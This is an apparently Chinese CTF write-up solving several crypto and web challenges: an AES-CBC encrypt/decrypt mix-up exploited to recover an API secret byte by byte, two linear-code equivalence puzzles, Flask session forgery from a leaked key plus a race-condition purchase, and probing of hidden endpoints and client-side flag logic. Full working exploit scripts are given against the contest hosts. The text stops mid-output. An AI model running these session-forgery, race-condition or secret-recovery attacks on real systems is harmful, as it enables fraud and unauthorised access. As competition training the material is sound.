# Table 位于解密数据的 0x1000 偏移处,长度为 34 (0x22)
table_offset = 0x1000
flag_len = 34
table = decrypted[table_offset : table_offset + flag_len]

flag = ""
for i in range(flag_len):
    # 算法: flag[i] = table[i] ^ i
    flag += chr(table[i] ^ i)

print(f"Flag: {flag}")

image-20251209194942951


Crypto

Secure Vault

题目描述:

他们说 AES 是对称加密算法,所以加密和解密本质上是一样的,对吧?

这是一道基于 AES-CBC 模式的密码学挑战。虽然代码看起来像是加密服务,但存在一个严重的逻辑漏洞,导致我们可以利用“Padding Oracle”类的攻击思路来逐字节还原 API_SECRET

1. 核心漏洞分析

错误的加密操作: 在 encrypt_session 函数中,原本应该调用 cipher.encrypt(padded_payload),但代码错误地调用了 cipher.decrypt(padded_payload)

return cipher.decrypt(padded_payload)

这意味着服务器在做 AES-CBC 解密


利用 CBC 解密性质

AES-CBC 解密的公式为:Pi=DK(Ci)Ci1P_i = D_K(C_i) \oplus C_{i-1}

在这里,输入给解密函数的“密文”实际上是 pad(user_id + API_SECRET)。我们控制 user_id,因此控制了输入数据的开头部分

服务器返回的是解密后的结果(Token)。令输入的块为B1,B2,B_1, B_2, \ldots,输出的块为O1,O2,O_1, O_2, \ldots

关系式为:Oi=DK(Bi)Bi1O_i = D_K(B_i) \oplus B_{i-1}


构造攻击

如果我们构造输入,使得两个块 BiB_iBjB_j 的内容完全相同(即 Bi=BjB_i = B_j),那么必然有 DK(Bi)=DK(Bj)D_K(B_i) = D_K(B_j)

结合上面的公式,我们可以推导出:

OiBi1=OjBj1    OiOj=Bi1Bj1O_i \oplus B_{i-1} = O_j \oplus B_{j-1} \implies O_i \oplus O_j = B_{i-1} \oplus B_{j-1}


我们可以利用这一点进行逐字节爆破

  • 我们知道 Bi1B_{i-1}(因为我们构造了 user_id
  • 我们通过调整 user_id 的长度,将 API_SECRET 中的未知字节对齐到某个块 BjB_j 的末尾
  • 我们在 user_id 中构造另一个块 BiB_i(猜测块),其中包含我们猜测的字符
  • 如果不等式 OiOj=Bi1Bj1O_i \oplus O_j = B_{i-1} \oplus B_{j-1} 成立,说明我们的猜测正确

2. 攻击脚本

该脚本会自动连接服务器,逐个字节爆破 API_SECRET,最后使用管理员权限登录

import socket
import string
import time

def solve():
    # 目标配置
    HOST = '47.122.52.77'
    PORT = 33466
    ALPHABET = string.ascii_letters + string.digits
    
    # XOR 辅助函数
    def xor(b1, b2):
        return bytes(a ^ b for a, b in zip(b1, b2))

    # 连接函数
    def connect():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        # 接收并跳过欢迎横幅
        time.sleep(0.5)
        s.recv(1024) 
        return s

    s = connect()
    known_secret = ""

    print(f"[*] 开始攻击 {HOST}:{PORT} ...")

    # 这里的 48 是 API_SECRET 的长度
    for k in range(48):
        # 1. 计算对齐需要的填充长度 p
        # 我们希望目标块的最后一个字节正好是 S[k]
        # 公式推导:|U| + k = 15 (mod 16) => |U| = 15 - k (mod 16)
        p = (15 - k) % 16
        
        # 设置 Payload U 的长度为 32 + p,确保至少有两个块(Block 0 和 Block 1)
        # Block 0 为填充块,Block 1 为猜测块
        u_len = 32 + p
        
        # 2. 构造目标块的前缀 X (已知的 15 个字节)
        if k < 15:
            # 如果 k < 15,前缀由 U 的尾部填充('A'*p) 和已知的 Secret 开头组成
            pad_bytes = b'A' * p
            X = pad_bytes + known_secret.encode()
        else:
            # 如果 k >= 15,前缀完全来自已知的 Secret
            X = known_secret[k-15:].encode()

        # 3. 计算目标块的索引 m
        # Payload 结构: U || Secret
        # 目标块结束位置在 Payload 中的索引: |U| + k
        m = (u_len + k) // 16
        
        found = False
        # 遍历所有可能的字符
        for char in ALPHABET:
            g = char.encode()
            
            # 构造猜测块 B_guess (放在 Block 1)
            B_guess = X + g
            
            # 构造完整的 ID (U)
            # U = [Block 0: Zeros] + [Block 1: Guess] + [Tail: 'A'*p]
            U = b'\x00'*16 + B_guess + b'A'*p
            
            try:
                # 清空缓冲区
                s.setblocking(0)
                try:
                    while s.recv(1024): pass
                except: pass
                s.setblocking(1)
                
                # 发送选项 1 (Generate Token)
                s.sendall(b"1\n")
                
                # 等待 ID 提示
                buff = b""
                while b"ID:" not in buff:
                    chunk = s.recv(1024)
                    if not chunk: break
                    buff += chunk
                
                # 发送构造的 ID
                s.sendall(U + b"\n")
                
                # 读取 Token
                buff = b""
                while b"Token:" not in buff:
                    chunk = s.recv(1024)
                    if not chunk: break
                    buff += chunk
                
                # 提取 Token 并解析为字节
                line = buff.split(b"Token: ")[1].split(b"\n")[0].strip()
                token = bytes.fromhex(line.decode())
                
                # 将 Token 分块
                blocks = [token[i:i+16] for i in range(0, len(token), 16)]
                
                # 4. 验证猜测
                # 我们比较猜测块对应的输出 O_1 和目标块对应的输出 O_m
                # 验证公式: O_1 ^ O_m == B_0 ^ B_{m-1}
                
                if len(blocks) <= m: continue

                O_1 = blocks[1]
                O_m = blocks[m]
                
                B_0 = U[:16] # 全 0
                
                # 重构 B_{m-1} (目标块的前一块)
                # 它来自完整的 Payload: U + Known_Secret ...
                sim_payload = U + known_secret.encode() + g
                B_prev = sim_payload[16*(m-1) : 16*m]
                
                val1 = xor(O_1, O_m)
                val2 = xor(B_0, B_prev)
                
                if val1 == val2:
                    known_secret += char
                    print(f"[+] Found byte {k}: {char} | Secret: {known_secret}")
                    found = True
                    break
            except Exception as e:
                # 如果连接断开,尝试重连
                print(f"[!] Error: {e}. Reconnecting...")
                s.close()
                s = connect()
                continue
        
        if not found:
            print(f"[-] Failed to find byte at index {k}")
            break

    # 5. 使用获取的 Secret 登录 (选项 2)
    print("[*] Logging in with recovered secret...")
    
    # 清空缓冲区
    s.setblocking(0)
    try:
        while s.recv(1024): pass
    except: pass
    s.setblocking(1)

    s.sendall(b"2\n")
    time.sleep(0.5)
    s.sendall(known_secret.encode() + b"\n")
    
    # 读取 Flag
    response = b""
    while True:
        try:
            chunk = s.recv(1024)
            if not chunk: break
            response += chunk
            if b"}" in response: break
        except: break
    
    print("\n" + "="*30)
    print(response.decode(errors='ignore').strip())
    print("="*30)

if __name__ == "__main__":
    solve()

image-20251210143556056


Isomorphia

题目描述:

我们开发了一套校验系统。 系统的开发者向我保证,他在代码里写了非常严格的结构检查逻辑,绝对不可能有任何黑客能混过去。

核心漏洞

if list(row).count(0) != self.n - 1:
    pass  # <--- 漏洞!这里应该是报错,但它直接放行了

这意味着矩阵 PP 不需要是单项矩阵,只要它是可逆矩阵即可。题目退化为简单的矩阵等价问题


数学解法

我们需要求解 UGP=HU⋅G⋅P=H

  1. 分解:利用 SageMath 的 Smith Normal Form (SNF)GGHH 分解为对角矩阵 DD

    • D=UGGVGD = U_G \cdot G \cdot V_G
    • D=UHHVHD = U_H \cdot H \cdot V_H

  2. 联立:因为 DD 是相同的,所以:

UGGVG=UHHVHU_G \cdot G \cdot V_G = U_H \cdot H \cdot V_H


  1. 移项:将两边的变换矩阵移到等式一侧,构造出 H=H = \ldots 的形式:

H=(UH1UG)G(VGVH1)H = (U_H^{-1} \cdot U_G) \cdot G \cdot (V_G \cdot V_H^{-1})


  1. 结果
    • 目标 U=UH1UGU = U_H^{-1} \cdot U_G
    • 目标 P=VGVH1P = V_G \cdot V_H^{-1}

算出这两个矩阵直接发送即可拿到 Flag


完整脚本

import socket
import re
import time
from sage.all import *

# 题目配置
HOST = '47.122.52.77'
PORT = 33514
Q_FIELD = 127
K = 14
N = 26

def solve():
    print(f"[*] Connecting to {HOST}:{PORT}...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    # 接收数据的辅助函数
    def recv_until(target_bytes):
        buf = b""
        while target_bytes not in buf:
            try:
                chunk = s.recv(4096)
                if not chunk: break
                buf += chunk
            except:
                break
        return buf

    # 1. 发送 'G' 获取矩阵
    recv_until(b"Options:")
    s.sendall(b"G\n")
    
    print("[-] Receiving matrix data...")
    # 读取足够多的数据,包含 G 和 H
    # 既然菜单里有 "Options:", 我们读到它就能保证拿到了前面的输出
    raw_data = recv_until(b"Options:").decode(errors='ignore')

    # 2. 使用正则解析矩阵
    # 查找所有整数 (支持负号)
    # 这一步会自动过滤掉 '┃', '[', ']', 'G =', 'H =' 等无关字符
    all_nums = [int(x) for x in re.findall(r'-?\d+', raw_data)]
    
    # 按照题目维度 K=14, N=26,每个矩阵有 364 个元素
    expected_len = K * N
    
    # 我们需要在提取出的数字中找到 G 和 H
    # 通常 G 在前,H 在后。
    # raw_data 里可能包含菜单选项 1, 2... 或者其他数字,所以要小心定位
    # 但根据题目输出 "G = ... H = ...", 它们应该是大段连续的数字
    
    # 简单的定位策略:找到 G = 和 H = 的位置,分别提取后面的数字
    try:
        # 分割文本
        part_g = raw_data.split("G =")[1].split("H =")[0]
        part_h = raw_data.split("H =")[1].split("Options")[0]
        
        nums_g = [int(x) for x in re.findall(r'-?\d+', part_g)]
        nums_h = [int(x) for x in re.findall(r'-?\d+', part_h)]
        
        if len(nums_g) != expected_len or len(nums_h) != expected_len:
            print(f"[!] Matrix size mismatch. Expected {expected_len}, got G:{len(nums_g)}, H:{len(nums_h)}")
            return

        G = matrix(GF(Q_FIELD), K, N, nums_g)
        H = matrix(GF(Q_FIELD), K, N, nums_h)
        print(f"[+] Parsed G and H. Rank: {G.rank()}")
        
    except Exception as e:
        print(f"[!] Parsing logic error: {e}")
        # 调试打印
        # print(raw_data) 
        return

    # 3. 计算 Smith Normal Form
    print("[-] Computing Smith Normal Form...")
    # D = U * M * V
    D_g, U_g, V_g = G.smith_form()
    D_h, U_h, V_h = H.smith_form()
    
    # 构造目标矩阵
    # H = (U_h^-1 * U_g) * G * (V_g * V_h^-1)
    target_U = U_h.inverse() * U_g
    target_P = V_g * V_h.inverse()

    # 4. 发送结果
    s.sendall(b"S\n")
    
    # 发送 U
    recv_until(b"row by row:")
    print("[-] Sending U...")
    for row in target_U:
        line = ",".join(map(str, row)) + "\n"
        s.sendall(line.encode())
        # time.sleep(0.01) # 可选:稍微延时防止粘包

    # 发送 P
    recv_until(b"row by row:")
    print("[-] Sending P...")
    for row in target_P:
        line = ",".join(map(str, row)) + "\n"
        s.sendall(line.encode())
    
    # 5. 读取 Flag
    print("[-] Waiting for result...")
    final_res = recv_until(b"}").decode(errors='ignore')
    
    print("\n" + "="*50)
    if "xujc{" in final_res or "flag" in final_res.lower():
        # 尝试提取 flag
        match = re.search(r'xujc\{.*?\}', final_res)
        if match:
            print(match.group(0))
        else:
            print(final_res.strip())
    else:
        print("Raw response:")
        print(final_res)
    print("="*50)
    
    s.close()

if __name__ == "__main__":
    solve()

image-20251208143130330


Isomorphia_revenge

题目描述:

上次的系统上线后被黑客秒破了,我们紧急修复了这个漏洞,并开除了实习生。现在,校验逻辑已经严丝合缝。这一次,纯粹的技巧已经救不了那群无聊的黑客了!

1. 分析题目

题目给定两个矩阵 GGHH ,且已知存在关系:

UGP=HU \cdot G \cdot P = H

其中:

  • GG14×2614×26 的随机生成矩阵
  • PP26×2626 × 26单项矩阵(Monomial Matrix),它可以分解为 列置换(Permutation)和 列缩放(Scaling)
  • UU14×1414×14 的可逆矩阵(基变换)
  • HH 是变换后的行阶梯形式

这在密码学中被称为 线性码等价性问题。我们需要找到 PP (置换+缩放)和 UU


2. 解题步骤

2.1 利用对偶码

原码的维度 k=14k = 14,码长 n=26n = 26

我们计算其对偶码(Dual Code)。对偶码的维度为 nk=12n-k=12

原因:在更小的维度空间(12维)里进行随机搜索(ISD算法),找到短码字的概率更高,速度更快

数学依据:如果两个线性码 CGC_GCHC_H 等价,它们的对偶码也是等价的


2.2 提取“指纹” (Saturation ISD)

这是解题中最耗时也最关键的一步。 线性码中的**短码字(Short Codewords)**及其 **支撑集(Support,即非零元素的位置)**是几何不变量

  • 策略:运行 100秒 的随机化高斯消元(Information Set Decoding 变体)
  • 目的穷尽所有低权重的码字
  • 结果
    • Weight 12:G 和 H 各找到 2 个。
    • Weight 13:G 和 H 各找到约 600 个(必须保证两边数量完全一致,少一个都不行)

2.3 图同构求解

将代数问题转化为图论问题


构建关联结构(超图)

  • 节点:26 个列索引 (0...25)(0...25)
  • 边(块):所有找到的 Weight 12 和 Weight 13 码字的支撑集

求解

  • 只要 GG 的列 ii 对应 HH 的列 jj ,那么 GG 中包含 ii 的短码字支撑集结构,必须与 HH 中包含 jj 的结构完全一致
  • 使用 SageMath 的 IncidenceStructure.is_isomorphic()(底层调用 Nauty 或 Bliss 算法,速度极快)来寻找列置换 π*π*
  • 关键点:同时使用 Weight 12 和 13 的数据,打破了单一权重可能存在的对称性,锁定了唯一正确的列置换

2.4 代数传播求解缩放因子

此时我们已经知道了列是怎么乱序的(即已知 PP 的置换部分),只剩下列缩放因子 DD 和 基变换 UU 未知

公式变形为:

H=U(Gpermuted)DH = U \cdot (G_{\text{permuted}}) \cdot D


这是一个包含未知数 UUDD 的非线性系统,但我们可以用传播法求解:

  1. 利用基列: HH 是行阶梯形,前 14 列是单位阵 II。这给出了强约束。

  2. 利用非基列作为桥梁:

    • 对于任意非基列 kk,它是由基列线性组合而成的

    • GG 的视角和 HH 的视角下,这种线性组合的系数比值,直接暴露了列与列之间缩放因子的比值关系:

      didkvk,iHi,k\frac{d_i}{d_k} \propto \frac{v_{k,i}}{H_{i,k}}


  1. BFS 搜索:
    • 假设第一个基列的缩放因子为 1
    • 通过非基列作为”桥梁”,计算出它连接的所有基列的缩放因子
    • 像病毒扩散一样,解出所有 26 列的缩放因子

2.5 拿到flag

有了置换和缩放因子,我们构造出完整的矩阵 PP

有了 PP,直接计算 U=H(GP)1U = H \cdot (G \cdot P)^{-1}

验证通过,发送服务器,Get Flag


3. 完整脚本

from sage.all import *
import pwn
import time
import random
import collections

# ================= 配置 =================
HOST = '47.122.52.77'
PORT = 33708
# 延长到 100 秒,确保 Weight 13 (约600个) 能全部找齐
# 这是解题的关键:必须让 G 和 H 的 Weight 13 数量完全一致
HARVEST_TIME = 100 
# =======================================

pwn.context.log_level = 'info'

def get_matrix_from_output(data_str, rows, cols):
    """鲁棒地解析矩阵数据"""
    clean_data = data_str.replace('[', ' ').replace(']', ' ')
    import re
    elements = [int(x) for x in re.findall(r'-?\d+', clean_data)]
    if len(elements) != rows * cols:
        raise ValueError(f"Parsed {len(elements)} elements, expected {rows*cols}")
    return matrix(GF(127), rows, cols, elements)

def normalize_vec(v):
    """向量归一化并设为不可变,以便存入集合去重"""
    v = vector(v)
    if v == 0: 
        v.set_immutable()
        return v
    # 找到第一个非零元,将其缩放为1
    p = next(i for i, x in enumerate(v) if x != 0)
    v = v * v[p]^(-1)
    v.set_immutable()
    return v

def solve():
    r = pwn.remote(HOST, PORT)

    try:
        # --- 1. 获取矩阵 ---
        r.recvuntil(b'Options:')
        r.sendline(b'g')
        pwn.log.info("Receiving matrices...")
        
        r.recvuntil(b'G =') 
        g_data = r.recvuntil(b'H =', drop=True).decode()
        h_data = r.recvuntil(b'Options', drop=True).decode().replace('', '').strip()

        G_mat = get_matrix_from_output(g_data, 14, 26)
        H_mat = get_matrix_from_output(h_data, 14, 26)
        pwn.log.success(f"Matrices loaded.")

        # --- 2. 计算对偶码 ---
        # 对偶码维数 k=12,搜索空间更小,更容易找到短码字
        D_G = LinearCode(G_mat).dual_code()
        D_H = LinearCode(H_mat).dual_code()

        # --- 3. 饱和式搜集码字 ---
        pwn.log.info(f"Harvesting codewords for {HARVEST_TIME}s. Please wait for convergence...")
        
        vecs_G = set()
        vecs_H = set()
        
        # 初始种子
        for row in D_G.generator_matrix(): vecs_G.add(normalize_vec(row))
        for row in D_H.generator_matrix(): vecs_H.add(normalize_vec(row))

        start_time = time.time()
        iter_count = 0
        
        # 预先获取生成矩阵,减少属性访问开销
        GenG = D_G.generator_matrix()
        GenH = D_H.generator_matrix()
        n = 26 

        prog = pwn.log.progress("Harvesting")
        
        while time.time() - start_time < HARVEST_TIME:
            # 批量执行以减少时间检查开销
            for _ in range(50):
                # G code harvesting
                perm = list(range(n))
                random.shuffle(perm)
                P = matrix(GF(127), n, n, lambda r, c: 1 if c == perm[r] else 0)
                try:
                    # 使用 P * G_sys 寻找低权重向量
                    G_sys = (GenG * P).echelon_form()
                    P_inv = P.inverse()
                    for row in G_sys:
                        if row == 0: continue
                        vecs_G.add(normalize_vec(row * P_inv))
                except: pass
                
                # H code harvesting
                perm = list(range(n))
                random.shuffle(perm)
                P = matrix(GF(127), n, n, lambda r, c: 1 if c == perm[r] else 0)
                try:
                    H_sys = (GenH * P).echelon_form()
                    P_inv = P.inverse()
                    for row in H_sys:
                        if row == 0: continue
                        vecs_H.add(normalize_vec(row * P_inv))
                except: pass

            iter_count += 50
            if iter_count % 500 == 0:
                prog.status(f"G:{len(vecs_G)} H:{len(vecs_H)}")
        
        prog.success(f"Finished. Found G:{len(vecs_G)}, H:{len(vecs_H)} unique codewords.")

        # --- 4. 多层级融合匹配 ---
        def get_blocks_by_weight(vecs):
            bw = collections.defaultdict(list)
            for v in vecs:
                bw[v.hamming_weight()].append(sorted(v.support()))
            return bw

        map_G = get_blocks_by_weight(vecs_G)
        map_H = get_blocks_by_weight(vecs_H)
        
        common_weights = sorted(list(set(map_G.keys()) & set(map_H.keys())))
        pwn.log.info(f"Weights found: {common_weights}")
        
        combined_blocks_G = []
        combined_blocks_H = []
        used_weights = []
        
        # 强制合并 Weight 12 和 Weight 13 (如果数量匹配)
        # 只有合并了 Weight 13 这种大数量级的层,才能打破对称性
        for w in common_weights:
            count_G = len(map_G[w])
            count_H = len(map_H[w])
            
            pwn.log.info(f"Checking Weight {w}: G={count_G}, H={count_H}")
            
            if count_G == count_H and count_G > 0:
                combined_blocks_G.extend(map_G[w])
                combined_blocks_H.extend(map_H[w])
                used_weights.append(w)
            else:
                pwn.log.warning(f"Weight {w} MISMATCH! Skipping. (If this is Weight 13, it will likely fail)")

        if not used_weights:
            pwn.log.error("No matching weights found! You need to run longer or verify inputs.")
            return
            
        pwn.log.success(f"Solving Isomorphism using weights {used_weights} (Total blocks: {len(combined_blocks_G)})")

        # --- 5. 图同构求解 ---
        points = list(range(26))
        IS_G = IncidenceStructure(points=points, blocks=combined_blocks_G)
        IS_H = IncidenceStructure(points=points, blocks=combined_blocks_H)
        
        # 获取映射字典
        iso_map = IS_G.is_isomorphic(IS_H, certificate=True)
        
        if not iso_map:
            pwn.log.error("Structures NOT isomorphic. Even with matching counts, the graphs differ. Try re-running.")
            return
            
        P_perm = matrix(GF(127), 26, 26)
        for i in range(26):
            P_perm[i, iso_map[i]] = 1
        pwn.log.success("Permutation recovered.")

        # --- 6. 鲁棒求解缩放因子 D (BFS 传播) ---
        # 这是求解 Monomial Scaling 的最稳定方法
        basis_cols = list(range(14))
        non_basis = list(range(14, 26))
        
        G_new = G_mat * P_perm
        G_basis = G_new[:, basis_cols]
        try:
            G_basis_inv = G_basis.inverse()
        except:
            pwn.log.error("Permutation bad: First 14 columns of G*P are not a basis.")
            return
            
        vs = {k: G_basis_inv * G_new[:, k] for k in non_basis}
        
        d_basis = [None] * 14
        d_basis[0] = GF(127)(1)
        
        queue = [0]
        while queue:
            curr = queue.pop(0)
            curr_d = d_basis[curr]
            
            for k in non_basis:
                v_col = vs[k]
                h_col = H_mat[:, k]
                
                if h_col[curr] != 0 and v_col[curr] != 0:
                    d_k = curr_d * (h_col[curr] / v_col[curr])
                    
                    for target in range(14):
                        if d_basis[target] is None:
                            if h_col[target] != 0 and v_col[target] != 0:
                                d_basis[target] = d_k * (v_col[target] / h_col[target])
                                queue.append(target)
        
        # 补全
        for i in range(14):
            if d_basis[i] is None: d_basis[i] = GF(127)(1)
            
        D_basis_inv = diagonal_matrix([1/x for x in d_basis])
        U_sol = D_basis_inv * G_basis_inv
        
        temp = U_sol * G_new
        d_total_vals = []
        for j in range(26):
            ratio = GF(127)(1)
            for i in range(14):
                if temp[i, j] != 0:
                    ratio = H_mat[i, j] / temp[i, j]
                    break
            d_total_vals.append(ratio)
            
        P_final = P_perm * diagonal_matrix(GF(127), d_total_vals)
        
        # --- 7. 验证 ---
        if U_sol * G_mat * P_final == H_mat:
            pwn.log.success("Verification Passed! Sending solution...")
            r.sendline(b's')
            
            r.recvuntil(b'matrix U row by row:')
            for row in U_sol:
                r.sendline(','.join(str(x) for x in row).encode())
                
            r.recvuntil(b'matrix P row by row:')
            for row in P_final:
                r.sendline(','.join(str(x) for x in row).encode())
                
            r.interactive()
        else:
            pwn.log.error("Local verification failed. The permutation might be symmetric but wrong for scaling.")

    except Exception as e:
        pwn.log.error(f"Error: {e}")
        try: r.close()
        except: pass

if __name__ == '__main__':
    solve()

image-20251208143159864


Web

Eat

题目描述:

大径村村口的小卖部开了网店,天价泡面让许多人望而却步。但网页开发者据说是隔壁学校教出来的,我想这难不倒你,是吧黑客?

题目目标:需要满足 noodles >= 2snack >= 1 才能获得flag

关键漏洞:条件竞争

buy_noodlesbuy_snack 函数的逻辑:

balance, noodles, snack = get_userdata()  # 1. 先读取余额
if balance >= 10000:
    noodles += 1
    open(f"./users/noodles.txt", "w").write(str(noodles))  # 2. 先写入商品
    time.sleep(random.uniform(-0.2, 0.2) + 1.0)  # 3. 故意sleep约1秒
    balance -= 10000
    open(f"./users/balance.txt", "w").write(str(balance))  # 4. 最后才扣钱

漏洞点:

  1. 先增加商品数量,后扣除余额
  2. 中间有约1秒的 time.sleep
  3. 余额检查和扣款不是原子操作

攻击思路:

  1. 首先需要伪造session获得初始余额(因为 secret_key = "welcometotkkctf" 已泄露)
  2. 利用条件竞争,在同一时间发送多个购买请求
  3. 由于检查余额和扣款之间有延迟,多个请求可以同时通过余额检查,但只扣一次钱

攻击脚本:

#!/usr/bin/env python3
"""
CTF Web题目 - 条件竞争漏洞利用脚本
目标:利用race condition购买足够的泡面(>=2)和零食(>=1)获取flag
"""

import requests
import threading
import time
from itsdangerous import URLSafeTimedSerializer

# ============ 配置区域 ============
TARGET_URL = "http://47.122.52.77:33489"  # 修改为实际目标地址
SECRET_KEY = "welcometotkkctf"  # 源码泄露的secret_key
# =================================

def forge_session(data: dict) -> str:
    """伪造Flask session - 使用itsdangerous直接签名"""
    serializer = URLSafeTimedSerializer(
        SECRET_KEY,
        salt='cookie-session',
        signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
    )
    return serializer.dumps(data)

def exploit():
    # 1. 伪造session,设置初始余额
    session_data = {
        "user": "hacker_" + str(int(time.time())),
        "balance": 20000
    }
    fake_session = forge_session(session_data)
    cookies = {"session": fake_session}
    
    print(f"[*] 目标: {TARGET_URL}")
    print(f"[*] 伪造的session: {fake_session[:50]}...")
    print(f"[*] Session数据: {session_data}")
    
    # 2. 先访问主页初始化用户数据
    print("\n[*] 初始化用户数据...")
    resp = requests.get(TARGET_URL, cookies=cookies)
    resp = requests.get(TARGET_URL, cookies=cookies)
    
    # 3. 条件竞争攻击
    print("[*] 开始条件竞争攻击...")
    
    results = {"noodles": [], "snack": []}
    
    def buy_noodles():
        try:
            resp = requests.post(f"{TARGET_URL}/buy_noodles", cookies=cookies, timeout=10)
            results["noodles"].append(resp.text)
        except Exception as e:
            results["noodles"].append(f"Error: {e}")
    
    def buy_snack():
        try:
            resp = requests.post(f"{TARGET_URL}/buy_snack", cookies=cookies, timeout=10)
            results["snack"].append(resp.text)
        except Exception as e:
            results["snack"].append(f"Error: {e}")
    
    threads = []
    
    # 同时发送多个购买泡面的请求(需要>=2)
    for _ in range(10):
        threads.append(threading.Thread(target=buy_noodles))
    
    # 同时发送多个购买零食的请求(需要>=1)
    for _ in range(5):
        threads.append(threading.Thread(target=buy_snack))
    
    # 同时启动所有线程
    print(f"[*] 启动 {len(threads)} 个并发请求...")
    for t in threads:
        t.start()
    
    # 等待所有请求完成
    for t in threads:
        t.join()
    
    print(f"[+] 泡面购买结果: {results['noodles']}")
    print(f"[+] 零食购买结果: {results['snack']}")
    
    # 4. 获取flag
    print("\n[*] 尝试获取flag...")
    resp = requests.get(f"{TARGET_URL}/eat", cookies=cookies)
    print(f"[+] 结果: {resp.text}")
    
    if "flag" in resp.text.lower() or "ctf" in resp.text.lower() or "{" in resp.text:
        print("\n" + "="*50)
        print(f"[SUCCESS] FLAG: {resp.text}")
        print("="*50)
        return True
    else:
        print("\n[!] 未获取到flag,可能需要多试几次")
        return False

if __name__ == "__main__":
    print("="*50)
    print("CTF Web - 条件竞争漏洞利用")
    print("="*50 + "\n")
    
    for i in range(5):
        print(f"\n{'='*20}{i+1} 次尝试 {'='*20}")
        try:
            if exploit():
                break
        except Exception as e:
            print(f"[!] 出错: {e}")
        time.sleep(1)

image-20251208143224947


Real or AI

题目描述: “多少?100轮?玩这么点就想证明你不是AI啊?玩999轮全对我就把flag给你”

编写脚本看看题目有什么内容:

import requests
import re

TARGET_URL = "http://47.122.52.77:33747/"

session = requests.Session()

# 1. 获取主页,查看结构
print("[*] 获取主页...")
resp = session.get(TARGET_URL)
print(f"[*] 状态码: {resp.status_code}")
print(f"[*] Cookies: {dict(session.cookies)}")

# 保存HTML分析
with open("page.html", "w", encoding="utf-8") as f:
    f.write(resp.text)
print("[*] 已保存主页到 page.html")

# 2. 查找图片URL
img_urls = re.findall(r'<img[^>]+src=["\']([^"\']+)["\']', resp.text)
print(f"\n[*] 找到的图片URL:")
for url in img_urls:
    print(f"    {url}")

# 3. 查找JS文件
js_urls = re.findall(r'<script[^>]+src=["\']([^"\']+)["\']', resp.text)
print(f"\n[*] 找到的JS文件:")
for url in js_urls:
    print(f"    {url}")

# 4. 查找API端点
api_patterns = re.findall(r'["\']/(api|submit|check|answer|game|play)[^"\']*["\']', resp.text, re.I)
print(f"\n[*] 可能的API端点:")
for api in set(api_patterns):
    print(f"    {api}")

# 5. 查找隐藏字段或答案相关内容
answer_patterns = re.findall(r'(real|fake|ai|answer|correct|label|type)["\s:=]+["\']?(\w+)["\']?', resp.text, re.I)
print(f"\n[*] 可能的答案相关字段:")
for pattern in answer_patterns[:20]:
    print(f"    {pattern}")

# 6. 尝试常见API路径
print("\n[*] 探测常见API路径...")
common_paths = [
    "/api/image", "/api/answer", "/api/check", "/api/submit",
    "/api/game", "/api/start", "/api/next", "/api/score",
    "/game", "/start", "/check", "/submit", "/answer",
    "/flag", "/admin", "/debug", "/source", "/robots.txt"
]

for path in common_paths:
    try:
        r = session.get(f"{TARGET_URL}{path}", timeout=3)
        if r.status_code != 404:
            print(f"    [+] {path} -> {r.status_code} ({len(r.text)} bytes)")
            if len(r.text) < 500:
                print(f"        内容: {r.text[:200]}")
    except:
        pass

print("\n[*] 探测完成,请查看 page.html 分析前端代码")

发现关键内容:

[*] 找到的JS文件:
    https://cdn.tailwindcss.com
    https://unpkg.com/react@18/umd/react.production.min.js
    https://unpkg.com/react-dom@18/umd/react-dom.production.min.js
    /assets/node_modules/vendor.min.js   # 关键

继续探测:

#!/usr/bin/env python3
"""
提取verifyAndFetchFlag函数的完整逻辑
"""

import requests
import re

TARGET = "http://47.122.52.77:33747"

def main():
    print("[*] 下载 vendor.min.js...")
    js = requests.get(f"{TARGET}/assets/node_modules/vendor.min.js").text
    print(f"[+] 文件大小: {len(js)} bytes")
    
    # 方法1: 找函数定义
    print("\n[*] 搜索 verifyAndFetchFlag 函数定义...")
    idx = js.find('window.verifyAndFetchFlag = async function')
    if idx != -1:
        print(f"[+] 找到函数定义在位置 {idx}")
        # 提取更多内容
        print("\n=== 函数定义 ===")
        print(js[idx:idx+2000])
    else:
        # 尝试其他模式
        idx = js.find('verifyAndFetchFlag=async')
        if idx != -1:
            print(f"[+] 找到压缩版函数定义在位置 {idx}")
            print(js[max(0,idx-100):idx+2000])
    
    # 方法2: 找hashArray
    print("\n\n[*] 搜索 hashArray...")
    idx = js.find('hashArray')
    if idx != -1:
        print(f"[+] 找到 hashArray 在位置 {idx}")
        print("\n=== hashArray 上下文 ===")
        print(js[max(0,idx-800):idx+500])
    
    # 方法3: 找crypto/SHA相关
    print("\n\n[*] 搜索 crypto/SHA 相关...")
    for pattern in ['crypto.subtle', 'SHA-256', 'sha256', 'digest']:
        idx = js.find(pattern)
        if idx != -1:
            print(f"\n[+] 找到 '{pattern}' 在位置 {idx}")
            print(js[max(0,idx-200):idx+300])
    
    # 方法4: 找secrets路径
    print("\n\n[*] 搜索 /secrets/ 路径...")
    idx = js.find('/secrets/')
    if idx != -1:
        print(f"[+] 找到 /secrets/ 在位置 {idx}")
        print("\n=== secrets 上下文 ===")
        print(js[max(0,idx-500):idx+200])
    
    # 方法5: 找999相关(题目要求999轮)
    print("\n\n[*] 搜索 999 相关...")
    for match in re.finditer(r'.{0,100}999.{0,100}', js):
        text = match.group()
        # 过滤掉XML namespace
        if 'xlink' not in text and 'xmlns' not in text and 'xhtml' not in text:
            print(f"[+] {text}")

if __name__ == "__main__":
    main()

输出:

[*] 下载 vendor.min.js...
[+] 文件大小: 622200 bytes

[*] 搜索 verifyAndFetchFlag 函数定义...
[+] 找到函数定义在位置 621280

=== 函数定义 ===
window.verifyAndFetchFlag = async function(e, t) {
    const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
    const msg = salt + e.toString() + t.toString();
    const msgBuffer = new TextEncoder().encode(msg);
    const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
    
    console.log('Verifying...', e, t);
    
    fetch('/secrets/' + hashHex + '.txt')
        .then(response => {
            if (response.ok) return response.text();
            throw new Error('404 Not Found');
        })
        .then(flag => {
            navigator.clipboard.writeText(flag.trim());
            alert('Success! Flag copied: ' + flag.trim());
        })
        .catch(err => {
            console.error(err);
            alert('Verification Failed.');
        });
};




[*] 搜索 hashArray...
